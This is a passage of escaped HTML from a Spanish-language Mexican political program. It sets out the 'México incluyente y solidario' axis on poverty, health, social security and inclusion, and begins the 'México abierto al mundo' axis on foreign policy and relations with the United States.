cohesi\u00f3n y paz social.<\/li>\n<li><strong>Promover la activaci\u00f3n f\u00edsica de la ciudadan\u00eda y su participaci\u00f3n en la cultura f\u00edsica y el deporte.<\/strong> La educaci\u00f3n y la cultura f\u00edsicas son parte del desarrollo integral del ser humano y fuente de habilidades y capacidades de sana competitividad y trabajo en equipo. Por eso, promoveremos la participaci\u00f3n de toda la ciudadan\u00eda en estas actividades e impulsaremos el talento de las y los deportistas mexicanos amateur y de alto rendimiento para que alcancen su m\u00e1ximo potencial.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tEje 4: M\u00e9xico incluyente y solidario\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0 Quien tiene una alimentaci\u00f3n adecuada a lo largo de su vida tiene mayor capacidad de aprendizaje y de realizar su potencial. Quien tiene acceso a salud preventiva reduce significativamente las probabilidades de enfermedades cr\u00f3nicas y mortales. Quien acaba la preparatoria vive, en promedio, cuatro a\u00f1os m\u00e1s que quien no lo hace; quien tiene un t\u00edtulo de educaci\u00f3n superior gana m\u00e1s del doble que qui\u00e9n tiene un t\u00edtulo de educaci\u00f3n media superior. Por ello, el ejercicio de derechos sociales es indispensable para tener un acceso efectivo a oportunidades que permiten desarrollar a cada uno su pleno potencial.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Como herederos de la Revoluci\u00f3n Mexicana, que fue la primera gran transformaci\u00f3n del siglo XX, los mexicanos siempre hemos tenido la aspiraci\u00f3n de construir un estado social y una sociedad solidaria, que garanticen el acceso efectivo a la alimentaci\u00f3n, la salud, la educaci\u00f3n y la vivienda, promueva el mejoramiento constante de las condiciones de vida de los que menos tienen y genere igualdad de oportunidades para todos sus ciudadanos. En consecuencia, el objetivo final de nuestro desarrollo debe ser el bienestar compartido, pleno, incluyente y equitativo, con pleno respeto a la diversidad y sin ning\u00fan tipo de discriminaci\u00f3n.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Es innegable que en M\u00e9xico hemos logrado grandes avances en materia de inclusi\u00f3n. A lo largo del siglo XX logramos el reconocimiento y la ampliaci\u00f3n de los derechos de los trabajadores, con la creaci\u00f3n de instituciones de seguridad social que protegen su vida, salud y patrimonio. El combate a la pobreza multidimensional ha rendido frutos en todas sus dimensiones: alimentaci\u00f3n, rezago educativo, vivienda y servicios b\u00e1sicos, acceso a servicios de salud y a la seguridad social. A pesar de que todas estas carencias sociales hoy se encuentran en sus m\u00ednimos hist\u00f3ricos, no descansaremos hasta erradicar cada una de ellas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Sin embargo, en pleno siglo XXI persisten exclusiones e inequidades en la sociedad mexicana. Cuarenta y cuatro de cada cien personas mexicanas vive en situaci\u00f3n de pobreza y cinco millones a\u00fan viven en pobreza extrema y carencia alimentaria. Por lo tanto, necesitamos una pol\u00edtica social que no se conforme con contener el aumento de la pobreza, sino que empodere a los ciudadanos con herramientas para incorporarse al sector productivo y dejar atr\u00e1s la dependencia de los programas sociales.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Junto con otros 192 pa\u00edses integrantes de la Organizaci\u00f3n de las Naciones Unidas (ONU), hemos establecido el compromiso de un pa\u00eds para todas y todos. Queremos un M\u00e9xico en el que haya un piso m\u00ednimo de seguridad social y cada persona tenga acceso efectivo a la alimentaci\u00f3n, la salud y una educaci\u00f3n de calidad, as\u00ed como agua limpia y saneamiento, servicios p\u00fablicos dignos, vivienda y un trabajo decente. Nuestra visi\u00f3n de desarrollo incluye a todas y todos los mexicanos. Por eso, seguiremos impulsando la erradicaci\u00f3n de la pobreza extrema con intervenciones directas y focalizadas para avanzar en la Agenda de Desarrollo Sostenible 2030 de la ONU.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La mejor forma de combatir la pobreza es con la actividad productiva. En ese sentido, la fortaleza y pertinencia de los programas sociales debe medirse por la capacidad que tengan para vincular a los beneficiarios con mejores condiciones de inclusi\u00f3n productiva. Este ha sido el paradigma con el que se ha transformado la pol\u00edtica social para que los beneficiarios tengan una vida productiva y plena. Por lo que seguiremos fortaleciendo el Programa Prospera para que las familias tengan mejores oportunidades de vida a trav\u00e9s de un mejor acceso a educaci\u00f3n superior, cr\u00e9ditos para impulsar proyectos productivos, facilidades de inclusi\u00f3n financiera y apoyo para su inserci\u00f3n al mercado laboral. Asimismo, continuaremos protegiendo las finanzas familiares a trav\u00e9s de la pensi\u00f3n para personas adultas mayores desde los 65 a\u00f1os y el Seguro de Vida para Jefas de Familia.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Pero no basta con combatir la pobreza. Es fundamental impulsar pol\u00edticas concretas para romper los nudos de desigualdad en todos los \u00e1mbitos, desde el acceso a la educaci\u00f3n, a la salud y bienestar, hasta los niveles de ingreso y el acceso a la justicia. Solamente as\u00ed se podr\u00e1 construir un verdadero estado social y una sociedad solidaria que sea fiel a las aspiraciones de los mexicanos. Es momento de alcanzar el fin de la pobreza, pero tambi\u00e9n garantizar el acceso a una educaci\u00f3n de calidad y a la salud y bienestar.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Es indispensable que todos \u2014absolutamente todos\u2014 los mexicanos tengan acceso efectivo a servicios de salud de calidad a lo largo de su vida. Por eficacia y eficiencia, el sistema debe ser orientado por un enfoque predominantemente preventivo. La certeza alimentaria debe ser compatible con una adecuada nutrici\u00f3n. Debemos dar grandes pasos del empleo informal al formal, a fin de asegurar una cobertura m\u00e1s amplia de la seguridad social, pero tambi\u00e9n se hace necesario que quienes cuentan con los distintos elementos que conforman la seguridad social (salud, seguros y ahorro para el retiro), conozcan sus derechos y puedan ejercerlos. Las personas deben tener acceso a una vivienda digna, pero es necesario ir al siguiente nivel: las viviendas deben estar en un entorno accesible, seguro, sano y sostenible.\u00a0\u00a0\u00a0\u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Debemos ampliar la infraestructura y las herramientas financieras para dinamizar el campo mexicano, fomentar la construcci\u00f3n de ciudades y comunidades sostenibles, generar una pol\u00edtica integral de producci\u00f3n y consumo responsable, e integrar las pol\u00edticas de inclusi\u00f3n laboral y productiva, as\u00ed como de econom\u00eda social y de banca de desarrollo, en un esfuerzo cohesionado por ampliar las capacidades de los mexicanos para construir sus propias fuentes sostenibles de ingreso. Tambi\u00e9n debemos fortalecer el bienestar de los mexicanos en su retiro con pensiones dignas, independientemente de su historial laboral.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Queremos un M\u00e9xico en el que los privilegios no se reproduzcan inercialmente, sino que el m\u00e9rito y el esfuerzo sea lo que determina el \u00e9xito de las personas. Convencidos de que la educaci\u00f3n es el mayor igualador social, seguiremos impulsando el acceso a una educaci\u00f3n p\u00fablica gratuita, laica y de calidad, en particular entre las poblaciones que m\u00e1s lo necesitan. Al mismo tiempo, aseguraremos el acceso efectivo, equitativo, incluyente y oportuno a servicios de salud de calidad, que respondan adecuadamente a las necesidades de las personas a lo largo de su vida, y con mecanismos apropiados de protecci\u00f3n financiera para que las familias mexicanas no caigan en situaci\u00f3n de pobreza por un problema de salud de alguno de sus integrantes.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Queremos un M\u00e9xico incluyente donde todas las personas, independientemente de sus circunstancias de origen o las diferencias por su origen \u00e9tnico, g\u00e9nero, edad, cultura, religi\u00f3n o condici\u00f3n, puedan desarrollarse de manera plena y sostenible. Por eso, continuaremos impulsando esfuerzos de focalizaci\u00f3n y acci\u00f3n afirmativa en beneficio de las poblaciones m\u00e1s vulnerables, con atenci\u00f3n a sus necesidades de desarrollo a lo largo del ciclo de vida.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 De manera espec\u00edfica debemos fortalecer nuestros esfuerzos para mejorar el acceso a los servicios de educaci\u00f3n, salud y trabajo de las personas con alguna discapacidad. Asimismo, debemos mejorar la accesibilidad en los espacios p\u00fablicos y tambi\u00e9n privados, en particular en el transporte p\u00fablico. Por su parte, las comunidades ind\u00edgenas de nuestro pa\u00eds deben tener la certeza que podr\u00e1n ejercer sus derechos y participar en el proceso de desarrollo social y econ\u00f3mico de M\u00e9xico y que, en todo momento, ser\u00e1n respetados su identidad y su cultura.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Tenemos que hacernos cargo, como objetivo central de toda pol\u00edtica p\u00fablica y reconociendo que todo nuestro actuar tiene al centro a la persona, que en M\u00e9xico el desarrollo y las oportunidades sean una realidad para todas y todos. Mexicanas y mexicanos, por igual, deben poder ejercer cada uno de sus derechos sociales: trabajo, salud, alimentaci\u00f3n, educaci\u00f3n, seguridad social y vivienda. Nadie debe ser excluido de las oportunidades.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>L\u00edneas de acci\u00f3n<\/strong><\/p>\n<ol>\n<li><strong>Eliminar las carencias en la primera infancia.<\/strong> Elaboraremos una pol\u00edtica nacional para la protecci\u00f3n integral de la primera infancia que contribuya a eliminar todas las formas de malnutrici\u00f3n infantil, promueva el ejercicio libre de la lactancia materna y garantice la atenci\u00f3n de la salud de las y los ni\u00f1os, as\u00ed como de sus madres. Asimismo, impulsaremos el desarrollo infantil temprano para maximizar las oportunidades de nuestros ni\u00f1os, con \u00e9nfasis en la atenci\u00f3n de ni\u00f1as y ni\u00f1os en condici\u00f3n de pobreza, comunidades ind\u00edgenas y personas con discapacidad.<\/li>\n<li><strong>Hacer efectivo el derecho a la alimentaci\u00f3n en todo el territorio nacional<\/strong>. Especialmente en los municipios de alta y muy alta marginaci\u00f3n, debemos desarrollar una estrategia que aborde la carencia alimentaria en su problem\u00e1tica integral, incluyendo la demanda potencial insatisfecha efectiva. Parte de ello implica ampliar el abasto popular en las mejores condiciones posibles, impulsar la creaci\u00f3n de bancos de alimentos para apoyar el consumo de la poblaci\u00f3n de menores recursos y mejorar sustancialmente la cultura alimentaria y nutricional.<\/li>\n<li><strong>Ampliar y estandarizar los subsidios focalizados y las transferencias directas para combatir la pobreza.<\/strong> Debemos incrementar progresivamente las intervenciones para garantizar el acceso de las poblaciones m\u00e1s vulnerables a la alimentaci\u00f3n, a la salud, a la vivienda digna y a una educaci\u00f3n de calidad. En paralelo se tienen que eliminar los subsidios generalizados al consumo para mejorar la progresividad y eficiencia del gasto p\u00fablico.<\/li>\n<li><strong>Promover la plena inclusi\u00f3n de los beneficiarios de programas sociales en el sector productivo.<\/strong> Fortaleceremos Prospera, el Programa de Inclusi\u00f3n Social, concentrando los esfuerzos en acercar herramientas a la poblaci\u00f3n que m\u00e1s lo necesita para que quienes lo deseen tengan acceso al sistema financiero formal y la oportunidad de participar plenamente en la vida productiva y laboral para dejar atr\u00e1s la dependencia de los programas sociales.<\/li>\n<li><strong>Priorizar la atenci\u00f3n a los derechos sociales, mejorar el gasto social y evitar duplicidades y burocratizaci\u00f3n excesiva.<\/strong> Se deben robustecer las facultades de coordinaci\u00f3n de la Secretar\u00eda de Desarrollo Social para consolidar la Estrategia Nacional de Inclusi\u00f3n, que ha permitido alinear los esfuerzos de las diferentes dependencias y niveles de gobierno, compactar programas, evitar duplicidades y asegurar que los recursos se usen de forma eficiente y lleguen a quienes m\u00e1s los necesitan. De manera espec\u00edfica, tenemos que atender con car\u00e1cter prioritario a las comunidades m\u00e1s pobres, particularmente donde se concentra la poblaci\u00f3n ind\u00edgena, y promover la incorporaci\u00f3n de las personas con discapacidad en situaci\u00f3n de pobreza a los programas.<\/li>\n<li><strong>Combatir frontalmente a las desigualdades en todas sus manifestaciones<\/strong>. Debemos abatir la discriminaci\u00f3n y las desigualdades econ\u00f3micas, educativas, sociales, \u00e9tnicas y de g\u00e9nero, as\u00ed como aquellas que enfrentan las personas con alguna discapacidad y los habitantes de las regiones m\u00e1s rezagadas. Para lograrlo debemos utilizar todos los instrumentos de los que dispone el Estado, incluyendo la pol\u00edtica social, econ\u00f3mica y fiscal.<\/li>\n<li><strong>Promover una atenci\u00f3n integral a las personas con discapacidad<\/strong>. Tenemos la obligaci\u00f3n de buscar la inclusi\u00f3n, movilidad y empoderamiento plenos de las personas con alguna discapacidad. Para ello, debemos recurrir a las mejores pr\u00e1cticas y pol\u00edticas p\u00fablicas.<\/li>\n<li><strong>Elevar la calidad de los servicios de salud.<\/strong> Tenemos que desarrollar la capacidad para garantizar una atenci\u00f3n de calidad y centrada en las personas en todos los niveles de atenci\u00f3n, pero de manera especial la Atenci\u00f3n Primaria de Salud, con un enfoque que fomente la promoci\u00f3n de la salud y la prevenci\u00f3n de la enfermedad. Para ello, debemos asegurar un financiamiento equitativo y una asignaci\u00f3n de recursos que responda a nuestra realidad epidemiol\u00f3gica y demogr\u00e1fica, poniendo especial atenci\u00f3n en la diabetes, la obesidad, as\u00ed como en enfermedades cardiovasculares y oncol\u00f3gicas, desde la ni\u00f1ez hasta la edad adulta.<\/li>\n<li><strong>Transitar hacia un Sistema \u00danico de Salud con cobertura universal.<\/strong> Si queremos que todos los mexicanos tengan acceso a la salud bajo las mismas condiciones, necesitamos un solo sistema de salud. No es aceptable que cada subsistema tenga diferencias en cobertura, calidad y objetivos. De hecho, la fragmentaci\u00f3n actual del sistema es uno de los factores que han dificultado el tr\u00e1nsito a una cobertura universal. Por ello, debemos reestructurar el sistema de salud hasta alcanzar progresivamente un sistema \u00fanico que reduzca las brechas en el ejercicio del derecho a la salud, garantice una cartera com\u00fan de servicios, y promueva la acci\u00f3n intersectorial de alta calidad para combatir factores de riesgo y promover estilos de vida saludable.<\/li>\n<li><strong>Consolidar un piso de seguridad social universal.<\/strong> De la misma manera, tenemos que ampliar paulatinamente la cobertura de la protecci\u00f3n social a sectores a\u00fan desprotegidos, como las y los trabajadores dom\u00e9sticos. Para ello, es necesario consolidar un sistema de Seguridad Social Integral de acceso universal que incluya los seguros de riesgos laborales, salud, invalidez y cesant\u00eda, el sistema de pensiones y otros servicios sociales, como guarder\u00edas y mecanismos de acceso a una vivienda digna.<\/li>\n<li><strong>Fomentar viviendas firmes con espacios dignos y servicios<\/strong>. Debemos mejorar la calidad de vida de las familias mexicanas desde sus hogares. Piso, techo y muros firmes, as\u00ed como espacios dignos y servicios eficientes, son indispensables para su salud y pleno desarrollo. En las zonas afectadas por desastres naturales, la reconstrucci\u00f3n de los espacios y servicios en las viviendas resulta prioritario. M\u00e9xico es nuestro hogar y aqu\u00ed caben casas dignas para todos.<\/li>\n<li><strong>Promover una pol\u00edtica p\u00fablica de desarrollo en zonas rurales.<\/strong> Respetando la cultura y la identidad de cada comunidad, debemos encontrar la manera de reducir la dispersi\u00f3n y el aislamiento poblacional. Ello representa un paso clave para mejorar la conectividad, facilitar el acceso a los servicios b\u00e1sicos e indispensables, abatir la pobreza y mejorar las condiciones de vivienda. Parte de este esfuerzo debe implicar apoyo al desarrollo comunitario a trav\u00e9s de sectores como el ecoturismo, la silvicultura, la artesan\u00eda o el cuidado del medio ambiente.<\/li>\n<li><strong>Mejorar la calidad de vida en las ciudades.<\/strong> Hoy en d\u00eda la mayor\u00eda de los mexicanos viven en zonas urbanas y es urgente tomar acci\u00f3n para mejorar su calidad de vida. Esto implica esfuerzos en materia de cultura, la modernizaci\u00f3n del transporte p\u00fablico y la infraestructura de movilidad urbana sustentable, seguridad p\u00fablica para todos, una recolecci\u00f3n de basura eficiente y la accesibilidad para las personas con discapacidad.<\/li>\n<li><strong>Atender las necesidades de los mexicanos a lo largo del ciclo de vida.<\/strong> Debemos concebir un sistema de cuidados para atender las necesidades de las personas a lo largo de su vida, con particular atenci\u00f3n a poblaciones vulnerables como ni\u00f1as y ni\u00f1os, personas mayores, comunidades ind\u00edgenas y afromexicanas, as\u00ed como a personas con discapacidad.<\/li>\n<li><strong>Priorizar la atenci\u00f3n a las comunidades ind\u00edgenas.<\/strong> Una priorizaci\u00f3n radical es indispensable si queremos cerrar la brecha en los niveles de bienestar. Tenemos que reconocer la gran diversidad existente y procurar la equidad de las poblaciones ind\u00edgenas de todas las etnias con resto de los mexicanos. Es prioritario lograr la plena inclusi\u00f3n social de las poblaciones originarias, respetando y engrandeciendo su cultura y reconociendo sus aportaciones a la historia de nuestro pa\u00eds.<\/li>\n<li><strong>Impulsar la igualdad de g\u00e9nero en todos los \u00e1mbitos.<\/strong> Buscaremos la igualdad sustantiva entre mujeres y hombres, privilegiando la igualdad en el acceso a las oportunidades, que empieza desde luego por la eliminaci\u00f3n de todas las formas de violencia contra las mujeres y ni\u00f1as. Al mismo tiempo, debemos promover acciones con un enfoque de equidad como la universalizaci\u00f3n del seguro de vida para jefas de familia y el acceso preferencial a cr\u00e9ditos productivos.<\/li>\n<li><strong>Invertir en nuestra juventud.<\/strong> Es importante ampliar la oferta de becas para que las y los j\u00f3venes no deserten y puedan concluir su formaci\u00f3n con el fin incorporarse al mercado laboral con un trabajo decente y bien remunerado. De la misma manera, debemos ofrecer cr\u00e9ditos en condiciones preferenciales que puedan desarrollar proyectos productivos y estimular el emprendedurismo entre los j\u00f3venes.<\/li>\n<li><strong>Retribuir la contribuci\u00f3n de las personas adultas mayores a la sociedad.<\/strong> Debemos generar las condiciones para el desarrollo y la participaci\u00f3n activa de las personas adultas mayores en un entorno social incluyente. Esto implica esfuerzos como universalizar las pensiones a partir de los 65 a\u00f1os, establecer un sistema de cuidados a largo plazo para garantizar su bienestar y eliminar cualquier forma de violencia o discriminaci\u00f3n.<\/li>\n<li><strong>Asegurar el acceso de los migrantes a sus derechos sociales.<\/strong> Tenemos que promover las condiciones para la regularizaci\u00f3n de su situaci\u00f3n migratoria a nivel individual y acercarlos a programas sociales que permitan su inserci\u00f3n exitosa en las comunidades de residencia y su empleabilidad, y de manera m\u00e1s general mejorar su calidad de vida.<\/li>\n<li><strong>Sumar capacidades en favor del desarrollo.<\/strong> Para lograr estas metas ambiciosas, debemos promover un nuevo pacto social entre actores pol\u00edticos, sociales y econ\u00f3micos que movilice recursos y capacidades de todos los sectores en la responsabilidad compartida de lograr un desarrollo con equidad y la soluci\u00f3n de problemas sociales.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tEje 5: M\u00e9xico abierto al mundo\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 M\u00e9xico es un pa\u00eds escuchado y respetado en el mundo. Tenemos un cuerpo diplom\u00e1tico profesional y una pol\u00edtica exterior con visi\u00f3n de Estado. Defendemos principios de validez universal como la igualdad jur\u00eddica de las naciones y la autodeterminaci\u00f3n de los pueblos, hemos promovido instituciones multilaterales fuertes y lideramos causas como el desarme nuclear, la cooperaci\u00f3n para el desarrollo y el combate al cambio clim\u00e1tico.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Hoy, M\u00e9xico participa activamente en la definici\u00f3n de la agenda internacional y es uno de los principales polos de atracci\u00f3n para los intercambios econ\u00f3micos, tur\u00edsticos y culturales. En los foros internacionales, encabezamos nuevos esfuerzos para superar los principales desaf\u00edos globales. Asumimos la responsabilidad de participar en las Organizaciones de Mantenimiento de la Paz, contribuimos a la definici\u00f3n de los Objetivos de Desarrollo Sostenible y adoptamos la Agenda 2030 como pol\u00edtica de Estado.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Con Am\u00e9rica Latina y el Caribe impulsamos la Alianza del Pac\u00edfico para traducir nuestras afinidades en oportunidades de crecimiento. Con Europa, profundizamos sustantivamente nuestras relaciones pol\u00edticas, culturales, acad\u00e9micas y econ\u00f3micas. En Asia Pac\u00edfico, la prioridad ha sido intensificar los flujos de comercio, inversi\u00f3n y turismo. Hemos consolidado alianzas estrat\u00e9gicas con pa\u00edses clave del Medio Oriente e intensificamos la cooperaci\u00f3n con pa\u00edses de \u00c1frica.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Sin embargo, en la \u00faltima d\u00e9cada hemos vivido en un mundo repentinamente cambiante, complejo, caracterizado por una redefinici\u00f3n de paradigmas y de las aspiraciones universalmente aceptadas con anterioridad. La sociedad mundial se ha transformado, sus metas han cambiado e incluso sus principios se est\u00e1n modificando. Esto ha propiciado un mundo m\u00e1s vol\u00e1til e impredecible.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En este contexto, durante los pr\u00f3ximos a\u00f1os nuestro pa\u00eds debe aprovechar sus m\u00faltiples pertenencias, su posici\u00f3n geopol\u00edtica \u00fanica, sus caracter\u00edsticas econ\u00f3micas, sociales y culturales, y su estatus como referente en diversos temas torales del multilateralismo, para afianzar su liderazgo y continuar promoviendo los valores, principios e intereses del pa\u00eds, as\u00ed como los derechos de nuestros ciudadanos, dondequiera que se encuentren.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Estamos comprometidos a hacer de nuestra pol\u00edtica exterior una aut\u00e9ntica palanca de desarrollo, que nos permita consolidar nuestra posici\u00f3n como potencia media en el mundo. Ante un sistema internacional incierto y en transformaci\u00f3n, queremos consolidar a M\u00e9xico como un pa\u00eds abierto al mundo.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Fortaleceremos los procesos de integraci\u00f3n en curso con Am\u00e9rica del Norte y Am\u00e9rica Latina, actualizando la infraestructura f\u00edsica y jur\u00eddica que da sustento a nuestra competitividad. Al mismo tiempo, promoveremos la diversificaci\u00f3n de nuestras relaciones comerciales mediante la consolidaci\u00f3n de relaciones estrat\u00e9gicas con Europa, Medio Oriente y Asia Pac\u00edfico. En nuestras relaciones bilaterales fortaleceremos la cooperaci\u00f3n educativa, cient\u00edfica, cultural y tecnol\u00f3gica. No cejaremos en la defensa y protecci\u00f3n de las y los connacionales, dondequiera que se encuentren.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En Am\u00e9rica del Norte, aseguraremos los espacios para potenciar la competitividad compartida y cerraremos las brechas entre los derechos de quienes viven en el pa\u00eds, y quienes viven fuera y que aportan de manera significativa a sus sociedades receptoras. Con Estados Unidos, la relaci\u00f3n tiene que ser de pleno respeto y beneficio para los mexicanos.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Con Centroam\u00e9rica, debemos profundizar la integraci\u00f3n comercial y energ\u00e9tica, mejorando as\u00ed la matriz de desarrollo y competitividad del Sur-Sureste de M\u00e9xico y la de los pa\u00edses vecinos. Haremos de nuestra Frontera Sur un espacio de prosperidad y seguridad compartida. Con el Caribe, tenemos que propiciar una mejor interconexi\u00f3n mar\u00edtima y comercial, as\u00ed como cooperaci\u00f3n t\u00e9cnica y mayor coordinaci\u00f3n en el combate a la delincuencia organizada.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Con Am\u00e9rica del Sur, tenemos la oportunidad de encontrar mayores espacios de coincidencia para promover conjuntamente la productividad, el comercio y el di\u00e1logo para el desarrollo. Con Europa, fortaleceremos nuestros v\u00ednculos hist\u00f3ricos y encontraremos nuevos espacios de cooperaci\u00f3n, en particular, en materia de ciencia y tecnolog\u00eda, educaci\u00f3n y cultura.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Debemos propiciar una relaci\u00f3n m\u00e1s amplia con los pa\u00edses de Medio Oriente, buscando mayor comercio e inversi\u00f3n. Intercambiaremos experiencias con los principales pa\u00edses de \u00c1frica en materia de desarrollo e inclusi\u00f3n financiera. Finalmente, buscaremos acercamientos con las econom\u00edas m\u00e1s grandes y din\u00e1micas de Asia, a fin de diversificar nuestras relaciones pol\u00edticas, comerciales, culturales y de cooperaci\u00f3n.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En la protecci\u00f3n de los mexicanos en el exterior, el eje rector seguir\u00e1 siendo acercar sus derechos a los de los ciudadanos de los pa\u00edses en los que residen. Que nuestra bandera se mantenga para el migrante como el mejor emblema de apoyo y protecci\u00f3n, y de que somos una misma comunidad. Debemos buscar mecanismos que les aseguren acceso a educaci\u00f3n, salud y servicios financieros.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En los espacios multilaterales, M\u00e9xico seguir\u00e1 siendo punto de referencia y una voz poderosa en defensa de las mejores causas pol\u00edticas, econ\u00f3micas y sociales. Sin dejar de respetar nuestros principios constitucionales, debemos ejecutar la pol\u00edtica exterior con la flexibilidad que los tiempos actuales ameritan. Seguiremos promoviendo la fortaleza de las instituciones multilaterales para hacer frente a desaf\u00edos globales como el cambio clim\u00e1tico, el crimen organizado y la tentaci\u00f3n del proteccionismo comercial.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>L\u00edneas de acci\u00f3n<\/strong><\/p>\n<ol>\n<li><strong>Defender la soberan\u00eda y promover el inter\u00e9s nacional en el exterior.<\/strong> En tiempos de inestabilidad pol\u00edtica o de alternativas poco democr\u00e1ticas de gobierno, se vuelve m\u00e1s importante que nunca refrendar nuestros principios como pa\u00eds. Tenemos que defender posturas congruentes con nuestro inter\u00e9s nacional, como por ejemplo una estrategia eficaz que inhiba y sancione el lavado de dinero.<\/li>\n<li><strong>Alinear la pol\u00edtica exterior a los objetivos de la pol\u00edtica interna<\/strong>. Nuestra acci\u00f3n como pa\u00eds en el mundo tiene que estar alineada con nuestras prioridades nacionales para convertir a M\u00e9xico en un protagonista mundial en beneficio de las y los mexicanos. Esto incluye el fortalecimiento del Estado de Derecho, la seguridad p\u00fablica y la procuraci\u00f3n de justicia, as\u00ed como un crecimiento econ\u00f3mico sustentable, la preservaci\u00f3n del medio ambiente, y una mayor inversi\u00f3n en investigaci\u00f3n y desarrollo. Esto implica utilizar la red diplom\u00e1tica y consular para identificar oportunidades de cooperaci\u00f3n y desarrollo en el exterior.<\/li>\n<li><strong>Contribuir al cumplimiento de los Objetivos de Desarrollo Sostenible de M\u00e9xico<\/strong>. A trav\u00e9s de relaciones cercanas, mutuamente ben\u00e9ficas y productivas con otros pa\u00edses, sustentadas en una pol\u00edtica exterior vigorosa, sustantiva y activa, debemos asumir nuestra responsabilidad en el cumplimiento de las metas de desarrollo que nos hemos fijado. Nuestra relaci\u00f3n abierta con el mundo ha venido acompa\u00f1ada de una mayor inversi\u00f3n extranjera generadora de empleos.<\/li>\n<li><strong>Fortalecer y mejorar la imagen de M\u00e9xico en el exterior<\/strong>. Es clave que los distintos actores globales tengan claro cu\u00e1les son los beneficios de nuestro pa\u00eds como destino de inversiones o de turismo, dado que esas actividades se traducen directamente en mejores condiciones para las familias de nuestro pa\u00eds. La estabilidad macroecon\u00f3mica, la diversidad de recursos y el medio ambiente, y la amplia variedad de destinos en M\u00e9xico hacen que la poblaci\u00f3n de otros pa\u00edses nos visite o bien invierta en nuestro pa\u00eds. Por ello, debemos mejorar nuestra imagen a nivel mundial en los \u00e1mbitos pol\u00edtico, econ\u00f3mico, tur\u00edstico, de desarrollo social y seguridad.<\/li>\n<li><strong>Defender a las personas migrantes dentro y fuera de nuestras fronteras.<\/strong> En el caso de la comunidad mexicana en el exterior, en particular en las grandes concentraciones de mexicanos en Estados Unidos, debemos continuar reforzando los instrumentos de protecci\u00f3n jur\u00eddica para asegurar el respeto a sus derechos humanos y los de sus familias. Asimismo, tenemos que promover condiciones para la regularizaci\u00f3n de su situaci\u00f3n migratoria a nivel individual, la organizaci\u00f3n comunitaria para la defensa local de sus intereses y su acercamiento a programas sociales.<\/li>\n<li><strong>Construir una relaci\u00f3n respetuosa con Estados Unidos. <\/strong>M\u00e9xico es una naci\u00f3n soberana e independiente, por eso privilegiar\u00e1 el di\u00e1logo constructivo y la promoci\u00f3n del inter\u00e9s nacional para atender, de forma corresponsable y nunca subordinada, las amenazas comunes como el narcotr\u00e1fico (siendo que hoy por hoy, Estados Unidos es el principal consumidor de droga en el mundo), el terrorismo, el tr\u00e1fico y la trata de personas, la pirater\u00eda y el lavado de dinero, entre otros. Debemos promover programas de movilidad laboral temporal, mejores pr\u00e1cticas comerciales y aduaneras, impulso a la investigaci\u00f3n, la capacitaci\u00f3n y el desarrollo, transferencia de tecnolog\u00eda e inversi\u00f3n extranjera directa, mediante mayores garant\u00edas de seguridad jur\u00eddica, as\u00ed como participaci\u00f3n en proyectos p\u00fablicos, privados y mixtos de infraestructura.<\/li>\n<li><strong>Incrementar la participaci\u00f3n ante los organismos de car\u00e1cter pol\u00edtico y financiero como fuerza geopol\u00edtica, econ\u00f3mica y demogr\u00e1fica.<\/strong> M\u00e9xico necesita ser parte activa de las decisiones en el \u00e1mbito multilateral, pues es ah\u00ed donde pueden balancearse las posiciones m\u00e1s radicales en contra de la integraci\u00f3n. Algunos espacios en donde se podr\u00edan impulsar los intereses nacionales son: la implementaci\u00f3n de la Agenda 2030 para el Desarrollo Sostenible, la instrumentaci\u00f3n del Acuerdo de Par\u00eds sobre Cambio Clim\u00e1tico, la participaci\u00f3n en Operaciones de Mantenimiento de la Paz, el impulso a un nuevo paradigma en el combate al Problema Mundial de las Drogas, el establecimiento de una gobernanza de la migraci\u00f3n internacional a trav\u00e9s del Pacto Global sobre Migraci\u00f3n, la participaci\u00f3n activa en las decisiones del G-20.<\/li>\n<li><strong>Participar en esfuerzos globales de conciencia ambiental y sustentabilidad.<\/strong> La protecci\u00f3n del medio ambiente es una responsabilidad compartida entre naciones y, en esa medida, s\u00f3lo puede ser atendida de manera 